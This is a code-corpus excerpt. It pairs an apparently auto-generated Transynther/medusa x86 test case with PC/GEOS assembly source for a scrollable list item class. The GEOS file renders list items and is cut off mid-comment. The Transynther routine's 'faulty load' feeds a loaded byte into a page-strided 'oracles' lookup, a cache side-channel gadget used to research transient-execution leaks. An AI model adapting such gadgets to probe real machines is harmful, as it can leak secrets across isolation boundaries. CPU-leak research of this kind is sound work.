35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
54.098765
2,999
0.661342
7c92292e4cf943de338160d77ffbd52593c83522
8,298
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_407.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_407.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_407.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x13b40, %rsi lea addresses_D_ht+0x17afc, %rdi nop nop nop nop xor $15746, %rbp mov $56, %rcx rep movsb nop nop nop sub $34164, %r14 lea addresses_WC_ht+0x1a4c, %rbx dec %rcx movw $0x6162, (%rbx) nop nop nop nop nop dec %r14 lea addresses_A_ht+0x1cda4, %rdi nop nop nop nop sub $56589, %r8 mov (%rdi), %r14d nop xor %rbp, %rbp lea addresses_normal_ht+0x179e4, %r8 nop cmp %rbp, %rbp mov (%r8), %si nop nop nop nop nop cmp %r14, %r14 lea addresses_D_ht+0x187d0, %rsi lea addresses_UC_ht+0x10a84, %rdi nop xor $12979, %r13 mov $15, %rcx rep movsb nop nop add $31912, %rsi lea addresses_D_ht+0xfcdc, %r8 nop and $61879, %rsi mov $0x6162636465666768, %rcx movq %rcx, (%r8) nop nop sub $4517, %r8 lea addresses_WC_ht+0xe4a4, %r8 nop nop nop nop sub $46092, %rbx and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r14 xor $31746, %r13 lea addresses_UC_ht+0x13ca4, %rbx nop nop nop nop nop and %rdi, %rdi movw $0x6162, (%rbx) nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0x188a4, %rbx nop nop nop xor $17189, %rbp vmovups (%rbx), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r8 nop xor $21551, %rdi lea addresses_WT_ht+0xeca4, %r8 nop nop cmp $39955, %rdi and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %rbx nop nop nop lfence lea addresses_WT_ht+0xade4, %rdi and $54490, %r13 movups (%rdi), %xmm3 vpextrq $0, %xmm3, %r14 nop nop sub %rbp, %rbp lea addresses_WT_ht+0x29a9, %rbx nop nop nop nop nop add %r13, %r13 mov (%rbx), %ecx sub $51963, %rbx lea addresses_UC_ht+0x149a4, %rdi sub $49779, %rbx movw $0x6162, (%rdi) nop nop nop nop and $61434, %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r9 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_D+0x100a4, %rsi lea addresses_D+0xf044, %rdi nop nop nop add $1965, %rbx mov $40, %rcx rep movsq nop nop xor $50542, %r9 // Store lea addresses_PSE+0x10e03, %rbx nop nop nop nop cmp $38041, %r9 movl $0x51525354, (%rbx) and $29390, %r9 // Load lea addresses_normal+0x14ca4, %rbx xor $33928, %rax vmovups (%rbx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rdi nop nop nop add $22699, %rcx // Store lea addresses_US+0xeaa4, %r9 clflush (%r9) nop nop nop add $35340, %rdx movl $0x51525354, (%r9) nop nop add $23080, %r9 // Faulty Load lea addresses_normal+0x14ca4, %rdx nop nop sub %rcx, %rcx mov (%rdx), %rsi lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r9 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': True, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
33.192
2,999
0.653893
32678232d3582aca5de6b36b9ca39d00be196aea
45,747
asm
Assembly
Library/SpecUI/CommonUI/CItem/citemScrollableItem.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/SpecUI/CommonUI/CItem/citemScrollableItem.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/SpecUI/CommonUI/CItem/citemScrollableItem.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: CommonUI/COpen (common code for several specific UIs) FILE: copenScrollableItem.asm ROUTINES: Name Description ---- ----------- GLB OLScrollableItemClass Scrollableing list item class REVISION HISTORY: Name Date Description ---- ---- ----------- Clayton 7/89 Initial version Eric 4/90 New USER/ACTUAL exclusive usage, extended selection, cleanup. DESCRIPTION: $Id: citemScrollableItem.asm,v 1.2 98/03/11 05:54:40 joon Exp $ ------------------------------------------------------------------------------@ COMMENT @CLASS DESCRIPTION----------------------------------------------------- OLScrollableItemClass: Synopsis -------- NOTE: The section between "Declaration" and "Methods declared" is copied into uilib.def by "pmake def" State Information ----------------- Declaration ----------- OLScrollableItemClass class OLItemClass uses GenItemClass OLScrollableItemClass endc Methods declared ---------------- Methods inherited ----------------- Additional documentation ------------------------ ------------------------------------------------------------------------------@ ;USE_VIS_ATTR_FLAGS = 0 CommonUIClassStructures segment resource OLScrollableItemClass mask CLASSF_DISCARD_ON_SAVE or \ mask CLASSF_NEVER_SAVED CommonUIClassStructures ends ;--------------------------- GadgetBuild segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemInitialize -- MSG_META_INITIALIZE for OLScrollableItemClass DESCRIPTION: Initialize item ctrl from a Generic Group object PASS: *ds:si - instance data es - segment of OlMenuClass RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 2/89 Initial version ------------------------------------------------------------------------------@ OLScrollableItemInitialize method private static OLScrollableItemClass, \ MSG_META_INITIALIZE uses bx, di, es ; To comply w/static call requirements .enter ; that bx, si, di, & es are preserved. ; NOTE that es is NOT segment of class ; Grow out vis ; Do superclass init mov di, segment OLScrollableItemClass mov es, di mov di, offset OLScrollableItemClass CallSuper MSG_META_INITIALIZE ;Set ScrollableItem instance data mov di, ds:[si] add di, ds:[di].Vis_offset ; This single object becomes entire ; visual representation, so set ; optimization bit. ornf ds:[di].VI_specAttrs, mask SA_SIMPLE_GEN_OBJ if SCROLL_LIST_GRID_LINES_AND_SPACING ; Check for grid line hints on parent and set item flags push si call GenSwapLockParent push bx mov ax, HINT_ITEM_GROUP_GRID_LINES call ObjVarFindData jnc unlock mov ax, {ScrollListGridState}ds:[bx] mov ds:[di].OLSII_gridState, ax unlock: pop bx call ObjSwapUnlock pop si endif ; SCROLL_ITEM_GRID_LINES_AND_SPACING done: EC< call ECScrollableItemCompField ; Make sure there's no junk in comp > .leave ret OLScrollableItemInitialize endp COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemSpecBuild -- MSG_SPEC_BUILD for OLScrollableItemClass DESCRIPTION: Builds out an item. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_BUILD RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 3/13/92 Initial Version ------------------------------------------------------------------------------@ OLScrollableItemSpecBuild method dynamic OLScrollableItemClass, MSG_SPEC_BUILD mov di, offset OLScrollableItemClass call ObjCallSuperNoLock ; Turn off this fine optimization, since the item's size sometimes ; depends on the size of the window. If the item group does not pass ; a new size to the item, MSG_VIS_RECALC_SIZE won't get called anyway. ; (Always recalc size has to be turned on for the same reason, it ; seems. Otherwise, when the window is resized, the item group ; passes desired, gets the old size back, and is never motivated to ; change.) ; mov di, ds:[si] add di, ds:[di].Vis_offset andnf ds:[di].VI_geoAttrs, not mask VGA_ONLY_RECALC_SIZE_WHEN_INVALID ornf ds:[di].VI_geoAttrs, mask VGA_ALWAYS_RECALC_SIZE ; Calculate the size of the item, in case we're in a dynamic list and ; will never receive a geometry update. ; mov ax, MSG_OL_SLIST_RECALC_ITEM_SIZE call VisCallParent call VisSetSize ret OLScrollableItemSpecBuild endm GadgetBuild ends Geometry segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemRecalcSize -- MSG_VIS_RECALC_SIZE for OLScrollableItemClass DESCRIPTION: Returns the size of the item. This is always determined by the scroll list, unless passed zeros by the scroll list to get its minimum size (zeroes are passed to differentiate it from normal geometry manager functions.) PASS: *ds:si - instance data es - segment of OLScrollableItemClass di - MSG_VIS_GET_SIZE cx - width info for choosing size dx - height info RETURN: cx - width to use dx - height to use DESTROYED: ax, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/15/89 Initial version (button?) Clayton 8/89 Initial version ------------------------------------------------------------------------------@ OLScrollableItemRecalcSize method private static OLScrollableItemClass, MSG_VIS_RECALC_SIZE uses bx, di, es ; To comply w/static call requirements .enter ; that bx, si, di, & es are preserved. ; NOTE that es is NOT segment of class tst cx ; both cx and dx are zero, choose jnz getFromParent ; our own size. Else get from the tst dx ; parent list, who knows all. jz calcDesired getFromParent: ; else let scroll list determine size mov ax, MSG_OL_SLIST_RECALC_ITEM_SIZE call VisCallParent jmp short exit calcDesired: segmov es, ds EC < call GenCheckGenAssumption ; Make sure gen data exists > call Geo_DerefGenDI mov di, ds:[di].GI_visMoniker ; fetch moniker clr bp ;get have no GState... call SpecGetMonikerSize ;get size of moniker OLS < add cx, SCROLL_ITEM_INSET_X*2 > OLS < add dx, SCROLL_ITEM_INSET_X*2 > if _CUA_STYLE add cx, MO_SCROLL_ITEM_INSET_X*2 add dx, MO_SCROLL_ITEM_INSET_Y*2 endif CUAS < call AddExtraSpaceIfInMenu ;add extra to cx if menu > CUAS < call AddExtraSpaceIfInMenu > if SCROLL_LIST_GRID_LINES_AND_SPACING call AddGridLineSpacingIfNeeded endif OLS < mov ax, BUTTON_MIN_WIDTH ;minimum width > CUAS < mov ax, CUAS_SCROLL_ITEM_MIN_WIDTH > cmp cx, ax ;avoid making too small jae exit mov_tr cx, ax exit: .leave ret OLScrollableItemRecalcSize endp COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemGetExtraSize -- MSG_SPEC_GET_EXTRA_SIZE for OLScrollableItemClass DESCRIPTION: Returns the extra size of the object (without the moniker). PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_GET_EXTRA_SIZE RETURN: cx, dx - extra size of scroll item DESTROYED: ax, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 11/ 7/89 Initial version ------------------------------------------------------------------------------@ OLScrollableItemGetExtraSize method OLScrollableItemClass, \ MSG_SPEC_GET_EXTRA_SIZE if _CUA_STYLE mov cx, MO_SCROLL_ITEM_INSET_X*2 mov dx, MO_SCROLL_ITEM_INSET_Y*2 endif CUAS < call AddExtraSpaceIfInMenu ;add extra to cx if menu > CUAS < call AddExtraSpaceIfInMenu > if SCROLL_LIST_GRID_LINES_AND_SPACING call AddGridLineSpacingIfNeeded endif ret OLScrollableItemGetExtraSize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AddGridLineSpacingIfNeeded %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If this scrolling list has grid lines, then we may need to add some additional spacing CALLED BY: OLScrollableItemRecalcSize, OLScrollableItemGetExtraSize PASS: *ds:si = OLScrollableItemClass cx, dx = size RETURN: cx, dx = with gridline spacing added if needed DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Joon 5/24/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if SCROLL_LIST_GRID_LINES_AND_SPACING AddGridLineSpacingIfNeeded proc near .enter mov di, ds:[si] add di, ds:[di].Vis_offset mov di, ds:[di].OLSII_gridState mov ax, di andnf di, mask SLGS_VGRID_SPACING add cx, di andnf ax, mask SLGS_HGRID_SPACING xchg al, ah add dx, ax .leave ret AddGridLineSpacingIfNeeded endp endif Geometry ends ItemCommon segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemMkrPos -- MSG_GET_FIRST_MKR_POS for OLScrollableItemClass DESCRIPTION: Returns the position of its moniker. PASS: *ds:si - instance data es - segment of OLScrollableItemClass ax - MSG_GET_FIRST_MKR_POS RETURN: carry set, saying method was handled ax, cx -- position of moniker DESTROYED: dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 11/ 1/89 Initial version ------------------------------------------------------------------------------@ OLScrollableItemMkrPos method OLScrollableItemClass, MSG_GET_FIRST_MKR_POS test ds:[di].VI_attrs, mask VA_VISIBLE ; test clears carry jz exit ; not visible, get out. segmov es, ds, cx mov cx, (J_LEFT shl offset DMF_X_JUST) or \ (J_CENTER shl offset DMF_Y_JUST) clr bp ;no gstate if _CUA_STYLE ;-------------------------------------------------------------- mov bx, si ;pass gen chunk in es:bx (same as ds:si here) ;yes, this takes time, but we MUST now pass OpenMonikerArgs on the ;stack to OpenGetMonikerPos sub sp, size OpenMonikerArgs mov bp, sp ;set up args on stack call OLItemSetupMkrArgs ;set up arguments for moniker mov dx, (MO_MENU_BUTTON_INSET_Y shl 8) or MO_MENU_BUTTON_INSET_X mov ss:[bp].OMA_drawMonikerFlags, (J_LEFT shl offset DMF_X_JUST) or \ (J_CENTER shl offset DMF_Y_JUST) call OpenGetMonikerPos EC < call ECVerifyOpenMonikerArgs ;make structure still ok > add sp, size OpenMonikerArgs endif ;-------------------------------------------------------------- mov cx, bx ;return y pos in cx tst ax jz exit ;no moniker, exit (c = 0) stc ;say handled exit: ret OLScrollableItemMkrPos endp COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemDraw -- MSG_VIS_DRAW for OLScrollableItemClass DESCRIPTION: Draw the scroll item. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_VIS_DRAW cl - DrawFlags: DF_EXPOSED set if updating bp - GState to use RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: Call the correct draw routine based on the display type: if (black & white) { DrawBWItem(); } else { DrawColorItem(); } REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 4/90 initial version ------------------------------------------------------------------------------@ OLScrollableItemDraw method OLScrollableItemClass, MSG_VIS_DRAW EC < call VisCheckVisAssumption ; Make sure vis data exists > EC < call GenCheckGenAssumption ; Make sure gen data exists > EC< call ECScrollableItemCompField ; Make sure there's no junk in comp > call ClearNavigateFlagsIfValid ;clear this if needed ;If not realized, don't try & draw. This is needed because ScrollList ;calls children to draw directly, not through VisCompDraw. call IC_DerefVisDI test ds:[di].VI_attrs, mask VA_REALIZED jnz drawItem exit: ret drawItem: if SCROLL_LIST_GRID_LINES_AND_SPACING ; Ugly hack. We temporarily adjust the item bounds so it'll draw ; inside the grid lines with the grid spacing we want for the item. push ds:[di].VI_bounds.R_left push ds:[di].VI_bounds.R_top push ds:[di].VI_bounds.R_right push ds:[di].VI_bounds.R_bottom call OLScrollableItemSetGridBounds endif ; SAVE BYTES: have color flag already! ; get display scheme data segmov es, ds, di push bp ;Save the GState mov di, bp ;put GState in di if not _ASSUME_BW_ONLY ;------------------------------------------------------ push cx ;save DrawFlags mov ax, GIT_PRIVATE_DATA call GrGetInfo ;returns ax, bx, cx, dx pop cx ; al = color scheme, ah = display type, cl = update flag ; *ds:si = OLItem object andnf ah, mask DF_DISPLAY_TYPE cmp ah, DC_GRAY_1 mov ch, cl ;Pass DrawFlags in ch mov cl, al ;Pass color scheme in cl OLS < jne color ;skip if on color screen... > MO < jne color ;skip if on color screen... > ISU < jne color ;skip if on color screen... > endif ; not _ASSUME_BW_ONLY ----------------------------------------------- ; draw black & white CallMod DrawBWScrollableItem if _OL_STYLE or _MOTIF or _ISUI ;--------------------------------------------- jmp short common if not _ASSUME_BW_ONLY color: ;draw color item CallMod DrawColorScrollableItem endif endif ; _OL_STYLE or _MOTIF or _ISUI --------------------------------------- ;SAVE BYTES here. Do calling routines do this work for us? common: pop di ; Restore the GState mov bx, ds:[si] ; Check if the item is add bx, ds:[bx].Vis_offset ; enabled. if SCROLL_LIST_GRID_LINES_AND_SPACING ; undo the vis bounds adjustment we made for grid lines and spacing pop ds:[bx].VI_bounds.R_bottom pop ds:[bx].VI_bounds.R_right pop ds:[bx].VI_bounds.R_top pop ds:[bx].VI_bounds.R_left endif test ds:[bx].VI_attrs, mask VA_FULLY_ENABLED jnz updateState ; If so, exit mov al, SDM_100 ; If not, reset the draw masks call GrSetAreaMask ; to solid call GrSetLineMask call GrSetTextMask updateState: call UpdateItemState ret OLScrollableItemDraw endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLScrollableItemSetGridBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the bounds of this object adjusted for grid spacing CALLED BY: DrawColorScrollableItemGridLines PASS: *ds:si = OLScrollableItemClass RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Joon 5/25/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if SCROLL_LIST_GRID_LINES_AND_SPACING OLScrollableItemSetGridBounds proc near uses ax,bx,cx,dx,di,bp .enter mov di, ds:[si] add di, ds:[di].Vis_offset mov bp, ds:[di].OLSII_gridState ; bp <- ScrollListGridState tst bp ; anything to adjust? jz done ; exit if nothing call VisGetBounds ; get item bounds push ax mov ax, bp ; ax <- ScrollListGridState andnf ax, mask SLGS_HGRID_SPACING ; ah <- horiz grid spacing xchg al, ah ; ax <- horiz grid spacing shr ax, 1 ; ax <- 1/2 horiz grid spacing pushf sub dx, ax ; move bottom up by 1/2 horiz popf adc bx, ax ; move top down by 1/2 horiz pop ax andnf bp, mask SLGS_VGRID_SPACING ; bp <- vert grid spacing shr bp, 1 ; bp <- 1/2 vert grid spacing pushf sub cx, bp ; move right over by 1/2 vert popf adc ax, bp ; move left over by 1/2 vert mov ds:[di].VI_bounds.R_left, ax mov ds:[di].VI_bounds.R_top, bx mov ds:[di].VI_bounds.R_right, cx mov ds:[di].VI_bounds.R_bottom, dx done: .leave ret OLScrollableItemSetGridBounds endp endif ; SCROLL_LIST_GRID_LINES_AND_SPACING COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawScrollableItemGridLines %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw grid lines around the item CALLED BY: DrawColorScrollableItem PASS: *ds:si = OLItemClass object di = GState RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Joon 5/14/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if SCROLL_LIST_GRID_LINES_AND_SPACING DrawScrollableItemGridLines proc far uses ax, bx, cx, dx, bp .enter ; Draw grid lines if needed mov bp, ds:[si] add bp, ds:[bp].Vis_offset mov bp, ds:[bp].OLSII_gridState test bp, mask SLGS_HGRID_LINES or mask SLGS_VGRID_LINES jz done mov ax, C_BLACK call GrSetLineColor ; grid lines are always black ; We need to deal with the case where the grid lines of adjacent items ; are suppose to overlap each other. So we make each item draw the ; top or left grid line one pixel up or to the left. But we can't do ; that for the topItem because moving up one pixel will put us outside ; the bounds of the scrolling view. mov ax, MSG_OL_SLIST_GET_SLIST_ATTRS call VisCallParent ; cl = OLScrollListAttrs mov ax, bp ; al = vGrid, ah = hGrid test cl, mask OLSLA_VERTICAL jz checkSpacing mov al, ah ; al = hGrid checkSpacing: test al, mask SLGS_VGRID_SPACING ; grid line spacing ?= 0 jnz drawNormal ; draw normal if !overlapping push cx, bp mov ax, MSG_OL_SLIST_GET_TOP_ITEM call VisCallParent mov ax, ds:[LMBH_handle] cmpdw axsi, cxdx ; are we the topItem? pop cx, bp je drawTopItem ; draw topItem drawNormal: test cl, mask OLSLA_VERTICAL pushf call OpenGetLineBounds ; (ax,bx) - (cx,dx) popf jnz verticalList horizontalList: ; horizontal list dec ax ; move left over one pixel jmp drawGridLines verticalList: ; vertical list dec bx ; move up one pixel jmp drawGridLines drawTopItem: call OpenGetLineBounds drawGridLines: test bp, mask SLGS_HGRID_LINES ; check horiz grid lines jz doVert call GrDrawHLine ; draw grid line xchg bx, dx call GrDrawHLine ; draw grid line xchg bx, dx doVert: test bp, mask SLGS_VGRID_LINES ; check vert grid lines jz done call GrDrawVLine ; draw grid line mov ax, cx call GrDrawVLine ; draw grid line done: .leave ret DrawScrollableItemGridLines endp endif ; SCROLL_LIST_GRID_LINES_AND_SPACING COMMENT @---------------------------------------------------------------------- ROUTINE: ClearNavigateFlagsIfValid SYNOPSIS: Turns off navigate flags if our object's moniker has become valid. CALLED BY: OLScrollableItemDraw PASS: *ds:si -- item RETURN: nothing DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN 